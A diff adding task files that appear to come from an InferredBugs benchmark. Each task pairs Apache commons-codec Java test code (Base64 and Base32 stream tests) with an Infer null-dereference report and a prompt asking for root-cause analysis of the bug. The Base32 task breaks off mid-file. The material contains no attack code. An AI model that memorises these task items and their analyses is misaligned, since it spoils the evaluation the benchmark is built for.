+        assertEquals("AAAA", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 0})));
+        assertEquals("AAAB", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 1})));
+        assertEquals("AAAC", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 2})));
+        assertEquals("AAAD", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 3})));
+        assertEquals("AAAE", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 4})));
+        assertEquals("AAAF", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 5})));
+        assertEquals("AAAG", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 6})));
+        assertEquals("AAAH", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 7})));
+        assertEquals("AAAI", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 8})));
+        assertEquals("AAAJ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 9})));
+        assertEquals("AAAK", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 10})));
+        assertEquals("AAAL", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 11})));
+        assertEquals("AAAM", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 12})));
+        assertEquals("AAAN", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 13})));
+        assertEquals("AAAO", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 14})));
+        assertEquals("AAAP", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 15})));
+        assertEquals("AAAQ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 16})));
+        assertEquals("AAAR", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 17})));
+        assertEquals("AAAS", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 18})));
+        assertEquals("AAAT", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 19})));
+        assertEquals("AAAU", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 20})));
+        assertEquals("AAAV", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 21})));
+        assertEquals("AAAW", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 22})));
+        assertEquals("AAAX", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 23})));
+        assertEquals("AAAY", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 24})));
+        assertEquals("AAAZ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 25})));
+        assertEquals("AAAa", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 26})));
+        assertEquals("AAAb", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 27})));
+        assertEquals("AAAc", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 28})));
+        assertEquals("AAAd", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 29})));
+        assertEquals("AAAe", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 30})));
+        assertEquals("AAAf", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 31})));
+        assertEquals("AAAg", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 32})));
+        assertEquals("AAAh", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 33})));
+        assertEquals("AAAi", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 34})));
+        assertEquals("AAAj", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 35})));
+        assertEquals("AAAk", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 36})));
+        assertEquals("AAAl", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 37})));
+        assertEquals("AAAm", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 38})));
+        assertEquals("AAAn", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 39})));
+        assertEquals("AAAo", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 40})));
+        assertEquals("AAAp", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 41})));
+        assertEquals("AAAq", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 42})));
+        assertEquals("AAAr", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 43})));
+        assertEquals("AAAs", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 44})));
+        assertEquals("AAAt", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 45})));
+        assertEquals("AAAu", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 46})));
+        assertEquals("AAAv", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 47})));
+        assertEquals("AAAw", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 48})));
+        assertEquals("AAAx", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 49})));
+        assertEquals("AAAy", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 50})));
+        assertEquals("AAAz", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 51})));
+        assertEquals("AAA0", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 52})));
+        assertEquals("AAA1", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 53})));
+        assertEquals("AAA2", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 54})));
+        assertEquals("AAA3", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 55})));
+        assertEquals("AAA4", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 56})));
+        assertEquals("AAA5", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 57})));
+        assertEquals("AAA6", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 58})));
+        assertEquals("AAA7", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 59})));
+        assertEquals("AAA8", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 60})));
+        assertEquals("AAA9", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 61})));
+        assertEquals("AAA+", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 62})));
+        assertEquals("AAA/", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 63})));
+    }
+
+    public void testTripletsChunked() {
+        assertEquals("AAAA\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 0})));
+        assertEquals("AAAB\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 1})));
+        assertEquals("AAAC\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 2})));
+        assertEquals("AAAD\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 3})));
+        assertEquals("AAAE\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 4})));
+        assertEquals("AAAF\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 5})));
+        assertEquals("AAAG\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 6})));
+        assertEquals("AAAH\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 7})));
+        assertEquals("AAAI\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 8})));
+        assertEquals("AAAJ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 9})));
+        assertEquals("AAAK\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 10})));
+        assertEquals("AAAL\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 11})));
+        assertEquals("AAAM\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 12})));
+        assertEquals("AAAN\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 13})));
+        assertEquals("AAAO\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 14})));
+        assertEquals("AAAP\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 15})));
+        assertEquals("AAAQ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 16})));
+        assertEquals("AAAR\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 17})));
+        assertEquals("AAAS\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 18})));
+        assertEquals("AAAT\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 19})));
+        assertEquals("AAAU\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 20})));
+        assertEquals("AAAV\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 21})));
+        assertEquals("AAAW\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 22})));
+        assertEquals("AAAX\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 23})));
+        assertEquals("AAAY\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 24})));
+        assertEquals("AAAZ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 25})));
+        assertEquals("AAAa\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 26})));
+        assertEquals("AAAb\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 27})));
+        assertEquals("AAAc\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 28})));
+        assertEquals("AAAd\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 29})));
+        assertEquals("AAAe\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 30})));
+        assertEquals("AAAf\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 31})));
+        assertEquals("AAAg\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 32})));
+        assertEquals("AAAh\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 33})));
+        assertEquals("AAAi\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 34})));
+        assertEquals("AAAj\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 35})));
+        assertEquals("AAAk\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 36})));
+        assertEquals("AAAl\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 37})));
+        assertEquals("AAAm\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 38})));
+        assertEquals("AAAn\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 39})));
+        assertEquals("AAAo\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 40})));
+        assertEquals("AAAp\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 41})));
+        assertEquals("AAAq\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 42})));
+        assertEquals("AAAr\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 43})));
+        assertEquals("AAAs\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 44})));
+        assertEquals("AAAt\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 45})));
+        assertEquals("AAAu\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 46})));
+        assertEquals("AAAv\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 47})));
+        assertEquals("AAAw\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 48})));
+        assertEquals("AAAx\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 49})));
+        assertEquals("AAAy\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 50})));
+        assertEquals("AAAz\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 51})));
+        assertEquals("AAA0\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 52})));
+        assertEquals("AAA1\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 53})));
+        assertEquals("AAA2\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 54})));
+        assertEquals("AAA3\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 55})));
+        assertEquals("AAA4\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 56})));
+        assertEquals("AAA5\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 57})));
+        assertEquals("AAA6\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 58})));
+        assertEquals("AAA7\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 59})));
+        assertEquals("AAA8\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 60})));
+        assertEquals("AAA9\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 61})));
+        assertEquals("AAA+\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 62})));
+        assertEquals("AAA/\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 63})));
+    }
+
+    /**
+     * Tests url-safe Base64 against random data, sizes 0 to 150.
+     */
+    public void testUrlSafe() {
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base64TestData.randomData(i, true);
+            byte[] encoded = randomData[1];
+            byte[] decoded = randomData[0];
+            byte[] result = Base64.decodeBase64(encoded);
+            assertTrue("url-safe i=" + i, Arrays.equals(decoded, result));
+            assertFalse("url-safe i=" + i + " no '='", Base64TestData.bytesContain(encoded, (byte) '='));
+            assertFalse("url-safe i=" + i + " no '\\'", Base64TestData.bytesContain(encoded, (byte) '\\'));
+            assertFalse("url-safe i=" + i + " no '+'", Base64TestData.bytesContain(encoded, (byte) '+'));
+        }
+
+    }
+
+    /**
+     * Base64 encoding of UUID's is a common use-case, especially in URL-SAFE mode. This test case ends up being the
+     * "URL-SAFE" JUnit's.
+     * 
+     * @throws DecoderException
+     *             if Hex.decode() fails - a serious problem since Hex comes from our own commons-codec!
+     */
+    public void testUUID() throws DecoderException {
+        // The 4 UUID's below contains mixtures of + and / to help us test the
+        // URL-SAFE encoding mode.
+        byte[][] ids = new byte[4][];
+
+        // ids[0] was chosen so that it encodes with at least one +.
+        ids[0] = Hex.decodeHex("94ed8d0319e4493399560fb67404d370".toCharArray());
+
+        // ids[1] was chosen so that it encodes with both / and +.
+        ids[1] = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());
+
+        // ids[2] was chosen so that it encodes with at least one /.
+        ids[2] = Hex.decodeHex("64be154b6ffa40258d1a01288e7c31ca".toCharArray());
+
+        // ids[3] was chosen so that it encodes with both / and +, with /
+        // right at the beginning.
+        ids[3] = Hex.decodeHex("ff7f8fc01cdb471a8c8b5a9306183fe8".toCharArray());
+
+        byte[][] standard = new byte[4][];
+        standard[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg+2dATTcA==");
+        standard[1] = StringUtils.getBytesUtf8("K/fMJwH+Q5e0nr7tWsxwkA==");
+        standard[2] = StringUtils.getBytesUtf8("ZL4VS2/6QCWNGgEojnwxyg==");
+        standard[3] = StringUtils.getBytesUtf8("/3+PwBzbRxqMi1qTBhg/6A==");
+
+        byte[][] urlSafe1 = new byte[4][];
+        // regular padding (two '==' signs).
+        urlSafe1[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA==");
+        urlSafe1[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA==");
+        urlSafe1[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg==");
+        urlSafe1[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A==");
+
+        byte[][] urlSafe2 = new byte[4][];
+        // single padding (only one '=' sign).
+        urlSafe2[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA=");
+        urlSafe2[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA=");
+        urlSafe2[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg=");
+        urlSafe2[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A=");
+
+        byte[][] urlSafe3 = new byte[4][];
+        // no padding (no '=' signs).
+        urlSafe3[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA");
+        urlSafe3[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA");
+        urlSafe3[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg");
+        urlSafe3[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A");
+
+        for (int i = 0; i < 4; i++) {
+            byte[] encodedStandard = Base64.encodeBase64(ids[i]);
+            byte[] encodedUrlSafe = Base64.encodeBase64URLSafe(ids[i]);
+            byte[] decodedStandard = Base64.decodeBase64(standard[i]);
+            byte[] decodedUrlSafe1 = Base64.decodeBase64(urlSafe1[i]);
+            byte[] decodedUrlSafe2 = Base64.decodeBase64(urlSafe2[i]);
+            byte[] decodedUrlSafe3 = Base64.decodeBase64(urlSafe3[i]);
+
+            // Very important debugging output should anyone
+            // ever need to delve closely into this stuff.
+            if (false) {
+                System.out.println("reference: [" + Hex.encodeHexString(ids[i]) + "]");
+                System.out.println("standard:  [" +
+                        Hex.encodeHexString(decodedStandard) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(standard[i]) +
+                    "]");
+                System.out.println("safe1:     [" +
+                        Hex.encodeHexString(decodedUrlSafe1) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe1[i]) +
+                    "]");
+                System.out.println("safe2:     [" +
+                        Hex.encodeHexString(decodedUrlSafe2) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe2[i]) +
+                    "]");
+                System.out.println("safe3:     [" +
+                        Hex.encodeHexString(decodedUrlSafe3) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe3[i]) +
+                    "]");
+            }
+
+            assertTrue("standard encode uuid", Arrays.equals(encodedStandard, standard[i]));
+            assertTrue("url-safe encode uuid", Arrays.equals(encodedUrlSafe, urlSafe3[i]));
+            assertTrue("standard decode uuid", Arrays.equals(decodedStandard, ids[i]));
+            assertTrue("url-safe1 decode uuid", Arrays.equals(decodedUrlSafe1, ids[i]));
+            assertTrue("url-safe2 decode uuid", Arrays.equals(decodedUrlSafe2, ids[i]));
+            assertTrue("url-safe3 decode uuid", Arrays.equals(decodedUrlSafe3, ids[i]));
+        }
+    }
+
+    public void testByteToStringVariations() throws DecoderException {
+        Base64 base64 = new Base64(0);
+        byte[] b1 = StringUtils.getBytesUtf8("Hello World");
+        byte[] b2 = new byte[0];
+        byte[] b3 = null;
+        byte[] b4 = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());  // for url-safe tests
+
+        assertEquals("byteToString Hello World", "SGVsbG8gV29ybGQ=", base64.encodeToString(b1));
+        assertEquals("byteToString static Hello World", "SGVsbG8gV29ybGQ=\r\n", Base64.encodeBase64String(b1));
+        assertEquals("byteToString \"\"", "", base64.encodeToString(b2));
+        assertEquals("byteToString static \"\"", "", Base64.encodeBase64String(b2));
+        assertEquals("byteToString null", null, base64.encodeToString(b3));
+        assertEquals("byteToString static null", null, Base64.encodeBase64String(b3));
+        assertEquals("byteToString UUID", "K/fMJwH+Q5e0nr7tWsxwkA==", base64.encodeToString(b4));
+        assertEquals("byteToString static UUID", "K/fMJwH+Q5e0nr7tWsxwkA==\r\n", Base64.encodeBase64String(b4));
+        assertEquals("byteToString static-url-safe UUID", "K_fMJwH-Q5e0nr7tWsxwkA", Base64.encodeBase64URLSafeString(b4));
+    }
+
+    public void testStringToByteVariations() throws DecoderException {
+        Base64 base64 = new Base64();
+        String s1 = "SGVsbG8gV29ybGQ=\r\n";
+        String s2 = "";
+        String s3 = null;
+        String s4a = "K/fMJwH+Q5e0nr7tWsxwkA==\r\n";
+        String s4b = "K_fMJwH-Q5e0nr7tWsxwkA";
+        byte[] b4 = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());  // for url-safe tests
+
+        assertEquals("StringToByte Hello World", "Hello World", StringUtils.newStringUtf8(base64.decode(s1)));
+        assertEquals("StringToByte Hello World", "Hello World", StringUtils.newStringUtf8((byte[])base64.decode((Object)s1)));
+        assertEquals("StringToByte static Hello World", "Hello World", StringUtils.newStringUtf8(Base64.decodeBase64(s1)));
+        assertEquals("StringToByte \"\"", "", StringUtils.newStringUtf8(base64.decode(s2)));
+        assertEquals("StringToByte static \"\"", "", StringUtils.newStringUtf8(Base64.decodeBase64(s2)));
+        assertEquals("StringToByte null", null, StringUtils.newStringUtf8(base64.decode(s3)));
+        assertEquals("StringToByte static null", null, StringUtils.newStringUtf8(Base64.decodeBase64(s3)));
+        assertTrue("StringToByte UUID", Arrays.equals(b4, base64.decode(s4b)));
+        assertTrue("StringToByte static UUID", Arrays.equals(b4, Base64.decodeBase64(s4a)));
+        assertTrue("StringToByte static-url-safe UUID", Arrays.equals(b4, Base64.decodeBase64(s4b)));
+    }
+
+    private String toString(byte[] data) {
+        StringBuffer buf = new StringBuffer();
+        for (int i = 0; i < data.length; i++) {
+            buf.append(data[i]);
+            if (i != data.length - 1) {
+                buf.append(",");
+            }
+        }
+        return buf.toString();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `decodeBase64("====\\n".getBytes())` could be null and is dereferenced at line 242.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base64Test.testDecodePadOnlyChunked()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base64Test.testDecodePadOnlyChunked():void.5e7bef36b8b5c60a6e53d6c5b0067edf
+
+### File:
+src/test/org/apache/commons/codec/binary/Base64Test.java
+
+### Key:
+Base64Test.java|testDecodePadOnlyChunked|NULL_DEREFERENCE
+
+### Node Key:
+c26a9a455e055d38651d28ebec106b05
+
+### Hash:
+1a1cdea97478102e885e859aa244e271
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3324/instruction.md b/inferredbugs-3324/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b26a5dd312a612a05e8cb74666099036b8a58850
--- /dev/null
+++ b/inferredbugs-3324/instruction.md
@@ -0,0 +1,617 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class Base32InputStreamTest {
+
+    private static final String ENCODED_FOO = "MZXW6===";
+
+    private final static byte[] CRLF = { (byte) '\r', (byte) '\n' };
+
+    private final static byte[] LF = { (byte) '\n' };
+
+    private static final String STRING_FIXTURE = "Hello World";
+
+    /**
+     * Tests the problem reported in CODEC-130. Missing / wrong implementation of skip.
+     */
+    @Test
+    public void testCodec130() throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Base32OutputStream base32os = new Base32OutputStream(bos);
+
+        base32os.write(StringUtils.getBytesUtf8(STRING_FIXTURE));
+        base32os.close();
+
+        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+        Base32InputStream ins = new Base32InputStream(bis);
+
+        // we skip the first character read from the reader
+        ins.skip(1);
+        byte[] decodedBytes = Base32TestData.streamToBytes(ins, new byte[64]);
+        String str = StringUtils.newStringUtf8(decodedBytes);
+
+        assertEquals(STRING_FIXTURE.substring(1), str);
+    }
+
+    /**
+     * Tests the bug reported in CODEC-105. Bad interactions with InputStream when reading one byte at a time.
+     */
+    @Test
+    public void testCodec105() throws IOException {
+        Base32InputStream in = new Base32InputStream(new Codec105ErrorInputStream(), true, 0, null);
+        try {
+            for (int i = 0; i < 5; i++) {
+                in.read();
+            }
+        } finally {
+            in.close();
+        }
+    }
+
+    // /**
+    // * Test for the CODEC-101 bug: InputStream.read(byte[]) should never return 0
+    // * because Java's builtin InputStreamReader hates that.
+    // *
+    // * @throws Exception for some failure scenarios.
+    // */
+    // @Test
+    // public void testCodec101() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // byte[] result = new byte[8192];
+    // int c = in.read(result);
+    // assertTrue("Codec101: First read successful [c=" + c + "]", c > 0);
+    //
+    // c = in.read(result);
+    // assertTrue("Codec101: Second read should report end-of-stream [c=" + c + "]", c < 0);
+    // }
+
+    /**
+     * Another test for the CODEC-101 bug: In commons-codec-1.4 this test shows InputStreamReader explicitly hating an
+     * InputStream.read(byte[]) return of 0:
+     *
+     * java.io.IOException: Underlying input stream returned zero bytes at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:268) at
+     * sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306) at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158) at
+     * java.io.InputStreamReader.read(InputStreamReader.java:167) at java.io.BufferedReader.fill(BufferedReader.java:136) at
+     * java.io.BufferedReader.readLine(BufferedReader.java:299) at java.io.BufferedReader.readLine(BufferedReader.java:362) at
+     * org.apache.commons.codec.binary.Base32InputStreamTest.testInputStreamReader(Base32InputStreamTest.java:75)
+     *
+     * But in commons-codec-1.5 it's fixed. :-)
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testInputStreamReader() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
